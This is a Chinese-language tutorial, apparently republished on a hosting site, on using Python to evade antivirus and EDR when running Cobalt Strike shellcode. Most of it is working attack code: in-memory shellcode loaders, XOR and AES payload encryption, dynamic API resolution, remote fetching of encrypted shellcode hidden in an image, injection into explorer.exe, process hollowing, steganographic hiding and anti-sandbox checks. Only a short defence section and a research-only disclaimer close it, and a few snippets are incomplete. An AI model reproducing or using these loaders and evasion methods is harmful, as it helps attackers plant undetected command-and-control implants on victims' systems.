利用python免杀cs shellcode

发布时间:2021-12-16 17:54:03 作者:柒染
来源:亿速云 阅读:382
# 利用Python免杀CS Shellcode

## 目录
- [前言](#前言)
- [基础概念解析](#基础概念解析)
  - [1.1 什么是Shellcode](#11-什么是shellcode)
  - [1.2 Cobalt Strike简介](#12-cobalt-strike简介)
  - [1.3 杀毒软件检测原理](#13-杀毒软件检测原理)
  - [1.4 免杀技术核心思想](#14-免杀技术核心思想)
- [Python实现免杀的优势](#python实现免杀的优势)
- [环境准备](#环境准备)
- [基础免杀实现](#基础免杀实现)
  - [4.1 原始Shellcode加载](#41-原始shellcode加载)
  - [4.2 分段加载技术](#42-分段加载技术)
  - [4.3 简单的异或加密](#43-简单的异或加密)
- [高级免杀技术](#高级免杀技术)
  - [5.1 动态API调用](#51-动态api调用)
  - [5.2 Shellcode分离加载](#52-shellcode分离加载)
  - [5.3 内存操作规避](#53-内存操作规避)
  - [5.4 进程注入技术](#54-进程注入技术)
  - [5.5 反沙箱技术](#55-反沙箱技术)
- [实战案例](#实战案例)
  - [6.1 案例一:纯Python内存加载](#61-案例一纯python内存加载)
  - [6.2 案例二:进程空洞注入](#62-案例二进程空洞注入)
  - [6.3 案例三:图片隐写术](#63-案例三图片隐写术)
- [检测与对抗](#检测与对抗)
- [防御建议](#防御建议)
- [结语](#结语)
- [参考资料](#参考资料)

## 前言

在渗透测试和红队行动中,Cobalt Strike(CS)是使用最广泛的C2框架之一。然而随着终端安全防护技术(EDR/AV)的进步,传统的CS payload越来越容易被检测。本文将深入探讨如何利用Python语言实现CS shellcode的免杀执行,涵盖从基础到高级的多种技术方案。

## 基础概念解析

### 1.1 什么是Shellcode

Shellcode是一段用于利用软件漏洞执行特定操作的机器码,通常以十六进制数组形式存在。在CS框架中,生成的shellcode实质上是实现与C2服务器通信的功能代码。

典型特征:
- 不含PE头结构
- 位置无关代码(PIC)
- 通常需要注入到进程内存中执行

### 1.2 Cobalt Strike简介

Cobalt Strike是商业化渗透测试工具,提供:
- 多协议C2通信
- 可视化团队协作
- 丰富的扩展功能
- 多种payload生成选项

生成的shellcode类型包括:
- x86/x64原生shellcode
- .NET程序集
- PowerShell脚本
- 反射DLL加载等

### 1.3 杀毒软件检测原理

现代AV/EDR主要检测手段:

| 检测层面 | 检测方式 | 示例 |
|---------|---------|------|
| 静态扫描 | 特征码匹配 | YARA规则 |
| 行为监控 | API调用序列 | VirtualAlloc→WriteMemory→CreateThread |
| 内存扫描 | 可疑内存模式 | 可执行内存区域中的shellcode特征 |
| 启发式分析 | 异常行为评分 | 短时间内进行敏感操作 |

### 1.4 免杀技术核心思想

免杀(Bypass AV)的核心原则:
1. 规避静态特征
   - 加密/编码shellcode
   - 拆分关键字符串
   - 使用非常规加载方式
2. 混淆行为特征
   - 延迟执行
   - 环境感知
   - 分阶段加载
3. 隐藏内存痕迹
   - 内存加密
   - 无文件落地
   - 合法进程注入

## Python实现免杀的优势

相比其他语言,Python具有独特优势:

1. 解释型语言特性
   - 无原生二进制特征
   - 可动态构造执行逻辑

2. 丰富的标准库
   ```python
   import ctypes
   import mmap
   import struct
  1. 易用的内存操作

    buf = create_string_buffer(shellcode)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    
  2. 跨平台兼容性

    • 同一套代码可适配多平台
    • 方便与C/C++扩展结合
  3. 庞大的第三方库生态

    pycryptodome  # 加密算法
    pypiwin32     # Windows API封装
    

环境准备

基础环境配置:

# 推荐Python 3.8+
pip install pycryptodome pypiwin32 numpy pillow

CS生成原始shellcode: 1. 使用Attacks → Packages → Windows Executable (S)生成 2. 选择”Raw”格式输出 3. 使用Python转换脚本:

with open("payload.bin", "rb") as f:
    shellcode = f.read()
print(",".join(f"0x{b:02x}" for b in shellcode))

基础免杀实现

4.1 原始Shellcode加载

最基础的加载方式(易被检测):

import ctypes

shellcode = bytearray([0x90, 0x90,...])  # 替换为实际shellcode

# 申请内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
)

# 写入内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_void_p(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)

# 创建线程执行
thread = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_void_p(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)

# 等待执行结束
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(thread),
    ctypes.c_int(-1))

4.2 分段加载技术

拆分shellcode降低检测率:

import ctypes
import time

# 将shellcode分成多个片段
parts = [
    shellcode[:300],
    shellcode[300:600],
    shellcode[600:]
]

ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)

offset = 0
for part in parts:
    # 分段写入
    buf = (ctypes.c_char * len(part)).from_buffer(part)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_void_p(ptr + offset),
        buf,
        len(part))
    offset += len(part)
    time.sleep(1)  # 增加延迟

4.3 简单的异或加密

基础加密实现:

def xor_encrypt(data, key):
    return bytearray([b ^ key for b in data])

key = 0x41
encrypted = xor_encrypt(shellcode, key)

# 使用时解密
decrypted = xor_encrypt(encrypted, key)

高级免杀技术

5.1 动态API调用

避免直接导入敏感API:

# 传统方式(易被检测)
from ctypes import windll
windll.kernel32.VirtualAlloc(...)

# 动态解析方式
kernel32 = ctypes.windll.LoadLibrary("kernel32.dll")
virtual_alloc = getattr(kernel32, "VirtualAlloc")
virtual_alloc.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.c_ulong]
virtual_alloc.restype = ctypes.c_void_p

5.2 Shellcode分离加载

通过网络或文件分离加载:

import requests

# 从远程服务器获取加密shellcode
url = "http://example.com/logo.png"
response = requests.get(url)
encrypted = response.content[1024:]  # 从PNG文件尾部读取

# 解密并加载
key = extract_key(response.content[:1024])
shellcode = decrypt(encrypted, key)

5.3 内存操作规避

使用非常规内存API:

# 使用文件映射代替VirtualAlloc
h_file = ctypes.windll.kernel32.CreateFileMappingA(
    -1, None, 0x40, 0, len(shellcode), None)
ptr = ctypes.windll.kernel32.MapViewOfFile(
    h_file, 0xF001F, 0, 0, len(shellcode))

5.4 进程注入技术

注入到合法进程:

PROCESS_ALL_ACCESS = 0x1F0FFF
pid = find_process_id("explorer.exe")

h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

# 在目标进程分配内存
remote_ptr = ctypes.windll.kernel32.VirtualAllocEx(
    h_process,
    None,
    len(shellcode),
    0x3000,
    0x40)

# 写入远程进程
ctypes.windll.kernel32.WriteProcessMemory(
    h_process,
    remote_ptr,
    shellcode,
    len(shellcode),
    None)

5.5 反沙箱技术

环境检测示例:

def check_environment():
    # 检测CPU核心数
    if os.cpu_count() < 2:
        return False
    
    # 检测内存大小
    if psutil.virtual_memory().total < 4*1024**3:  # 小于4GB
        return False
        
    # 检测运行时间
    start_time = time.time()
    heavy_computation()
    elapsed = time.time() - start_time
    if elapsed < expected_time*0.8:  # 虚拟机可能加速计算
        return False
        
    return True

实战案例

6.1 案例一:纯Python内存加载

import ctypes
import hashlib
from Crypto.Cipher import AES

class ShellcodeLoader:
    def __init__(self, key):
        self.key = hashlib.sha256(key).digest()
        
    def decrypt(self, data):
        iv = data[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return cipher.decrypt(data[16:])
    
    def load(self, encrypted_sc):
        sc = self.decrypt(encrypted_sc)
        
        # 使用Nt系列API
        ntdll = ctypes.windll.ntdll
        status = ntdll.NtAllocateVirtualMemory(
            -1,
            ctypes.byref(ctypes.c_void_p()),
            0,
            ctypes.byref(ctypes.c_ulong(len(sc))),
            0x3000,
            0x40)
            
        # 写入内存
        ctypes.memmove(ptr, sc, len(sc))
        
        # 创建线程
        thread = ctypes.c_ulong()
        ntdll.NtCreateThreadEx(
            ctypes.byref(thread),
            0x1FFFFF,
            None,
            -1,
            ptr,
            None,
            False,
            0,
            0,
            0,
            None)

6.2 案例二:进程空洞注入

import ctypes
import struct

def process_hollowing(target_exe, shellcode):
    # 1. 创建挂起进程
    startupinfo = STARTUPINFO()
    process_info = PROCESS_INFORMATION()
    ctypes.windll.kernel32.CreateProcessA(
        None,
        target_exe,
        None,
        None,
        False,
        0x4,  # CREATE_SUSPENDED
        None,
        None,
        ctypes.byref(startupinfo),
        ctypes.byref(process_info))
    
    # 2. 获取PEB地址
    context = CONTEXT()
    context.ContextFlags = 0x10007  # CONTEXT_FULL
    ctypes.windll.kernel32.GetThreadContext(
        process_info.hThread,
        ctypes.byref(context))
    
    # 3. 读取目标进程内存
    peb_addr = context.Ebx
    image_base = ctypes.c_void_p()
    ctypes.windll.kernel32.ReadProcessMemory(
        process_info.hProcess,
        peb_addr+8,
        ctypes.byref(image_base),
        4,
        None)
    
    # 4. 卸载目标映像
    ctypes.windll.ntdll.ZwUnmapViewOfSection(
        process_info.hProcess,
        image_base)
    
    # 5. 分配新内存并写入shellcode
    new_base = ctypes.windll.kernel32.VirtualAllocEx(
        process_info.hProcess,
        image_base,
        len(shellcode),
        0x3000,
        0x40)
    ctypes.windll.kernel32.WriteProcessMemory(
        process_info.hProcess,
        new_base,
        shellcode,
        len(shellcode),
        None)
    
    # 6. 修复上下文并恢复执行
    context.Eax = new_base + entry_point
    ctypes.windll.kernel32.SetThreadContext(
        process_info.hThread,
        ctypes.byref(context))
    ctypes.windll.kernel32.ResumeThread(
        process_info.hThread)

6.3 案例三:图片隐写术

from PIL import Image
import numpy as np

class ImageStego:
    @staticmethod
    def encode(img_path, shellcode):
        img = Image.open(img_path)
        data = np.array(img)
        
        # 将shellcode嵌入最低有效位
        flat = data.flatten()
        for i in range(len(shellcode)):
            byte = shellcode[i]
            for j in range(8):
                flat[i*8+j] = (flat[i*8+j] & 0xFE) | ((byte >> j) & 1)
                
        return Image.fromarray(flat.reshape(data.shape))
    
    @staticmethod
    def decode(img_path):
        img = Image.open(img_path)
        data = np.array(img).flatten()
        
        shellcode = bytearray()
        for i in range(0, len(data)//8):
            byte = 0
            for j in range(8):
                byte |= (data[i*8+j] & 1) << j
            shellcode.append(byte)
            
        return shellcode

检测与对抗

现代EDR的对抗手段:

  1. 用户态Hook检测

    • 检测关键API调用链
    • 监控内存属性变更
  2. 内核态监控

    • 检测进程注入行为
    • 分析线程创建异常
  3. 机器学习检测

    • 异常内存模式识别
    • 行为序列分析

对抗建议: - 使用合法的进程注入目标(如msbuild.exe) - 模仿正常软件的内存操作模式 - 引入随机延迟和垃圾操作

防御建议

针对此类攻击的防御措施:

  1. 应用白名单

    • 限制非授权Python解释器执行
    • 控制脚本执行权限
  2. 增强监控

    • 监控异常内存分配
    • 记录进程创建行为
  3. 终端防护

    • 启用AMSI扫描脚本内容
    • 部署行为分析EDR
  4. 网络层防御

    • 拦截可疑HTTP请求
    • 分析异常流量模式

结语

Python作为灵活的解释型语言,为shellcode免杀提供了丰富的可能性。随着安全防御技术的进步,攻防对抗将不断升级。本文介绍的技术仅供安全研究和防御方测试使用,请勿用于非法用途。

参考资料

  1. 《Windows核心编程》
  2. MITRE ATT&CK框架
  3. Cobalt Strike官方文档
  4. Python ctypes官方文档
  5. 各类开源免杀项目

”`

推荐阅读:
  1. Python 5 行代码告别备份痛苦时代
  2. Linux中本地提权和EXP利用的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

python shellcode

上一篇:Web安全中的CSRF代码审计是怎样的

下一篇:怎么解析Python中的Dict

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》